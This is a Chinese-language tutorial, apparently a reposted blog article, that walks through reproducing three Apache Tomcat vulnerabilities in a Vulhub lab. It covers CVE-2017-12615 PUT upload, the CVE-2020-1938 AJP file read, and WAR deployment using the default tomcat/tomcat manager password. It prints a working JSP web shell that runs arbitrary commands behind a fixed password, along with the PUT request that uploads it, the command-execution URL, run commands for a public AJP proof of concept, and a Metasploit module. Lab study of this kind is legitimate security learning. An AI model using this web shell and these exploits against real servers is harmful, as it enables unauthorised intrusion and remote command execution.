1.Tomcat常見漏洞
1.1.前言
??整個復(fù)現(xiàn)環(huán)境均使用Vulhub一鍵搭建漏洞測試靶場,Vulhub靶場:鏈接
1.2.文件上傳 (CVE-2017-12615)
1.2.1.漏洞原理
??Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導(dǎo)致可以使用PUT方法上傳任意文件,攻擊者將精心構(gòu)造的payload向服務(wù)器上傳包含任意代碼的 JSP 文件。之后,JSP 文件中的代碼將能被服務(wù)器執(zhí)行。
1.2.2.影響版本
??Apache Tomcat 7.0.0 – 7.0.81
1.2.3.漏洞復(fù)現(xiàn)
1.2.3.1.測試是否允許PUT
??這里修改請求方式為OPTIONS /xx HTTP/1.1,通過修改后發(fā)現(xiàn)允許PUT方法。
1.2.3.2.驗證漏洞是否存在
??這里修改請求方式為:PUT /test.jsp/ HTTP/1.1,請求體為:<%out.print(“hacker”); %>,然后訪問test.jsp。
1.2.3.3.訪問test.jsp
URL:http:ip地址:端口/test.jsp
1.2.3.4.上傳執(zhí)行命令腳本
??修改請求頭PUT /test.jsp/ HTTP/1.1,修改請求體。
請求體:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
1.2.3.5.執(zhí)行命令
http://ip地址:8080/test.jsp?&pwd=123&cmd=ls
1.3.文件包含漏洞(CVE-2020-1938)
1.3.1.漏洞原理
??Tomcat 配置了兩個Connecto,它們分別是 HTTP 和 AJP :HTTP默認端口為8080,處理http請求,而AJP默認端口8009,用于處理 AJP 協(xié)議的請求,而AJP比http更加優(yōu)化,多用于反向、集群等,漏洞由于Tomcat AJP協(xié)議存在缺陷而導(dǎo)致,攻擊者利用該漏洞可通過構(gòu)造特定參數(shù),讀取服務(wù)器webapp下的任意文件以及可以包含任意文件,如果有某上傳點,上傳圖片馬等等,即可以獲取shell。
1.3.2.影響版本
??Apache Tomcat 6
??Apache Tomcat 7 < 7.0.100
??Apache Tomcat 8 < 8.5.51
??Apache Tomcat 9 < 9.0.31
??開啟了8009端口的ajp服務(wù)
1.3.3.漏洞復(fù)現(xiàn)
1.3.3.1.訪問頁面
??訪問http://your-ip:8080即可查看tomcat默認頁面,此時通過AJP協(xié)議的8009端口亦可訪問Tomcat。
1.3.3.2.POC下載
??POC鏈接:鏈接
??當(dāng)然你也可以在kali中使用命令進行下載,檢測等,不過我這里由于網(wǎng)絡(luò)原因一直下載不下來,我就用本機下載再上傳虛擬機了。
命令:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2環(huán)境
1.3.3.3.POC驗證
??這里查看8009端口下的web.xml文件
命令:python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml
1.4.弱口令&war遠程部署
1.4.1.漏洞原理
??在tomcat8環(huán)境下默認進入后臺的密碼為tomcat/tomcat,未修改造成未授權(quán)即可進入后臺。
1.4.2.影響版本
??全版本
1.4.3.漏洞復(fù)現(xiàn)
1.4.3.1.訪問后臺
??這里首先需要先訪問后臺管理。
http://ip地址:8080/manager/html
1.4.3.2.后臺管理
??在后臺有一個上傳war包的地方,這里就是我們用來上傳木馬的地方,這里我沒準(zhǔn)備jsp馬,我使用msf來進行操作吧。
1.4.3.3.進入模塊
??進入msf里面的exploit/multi/http/tomcat_mgr_upload模塊。文章來源:http://www.zghlxwxcb.cn/news/detail-717520.html
1.4.3.4.獲取shell
??我這邊由于使用云服務(wù)器,存在反彈的端口不通,可能被攔截了,所以就沒有反彈回來。文章來源地址http://www.zghlxwxcb.cn/news/detail-717520.html
到了這里,關(guān)于中間件安全—Tomcat常見漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!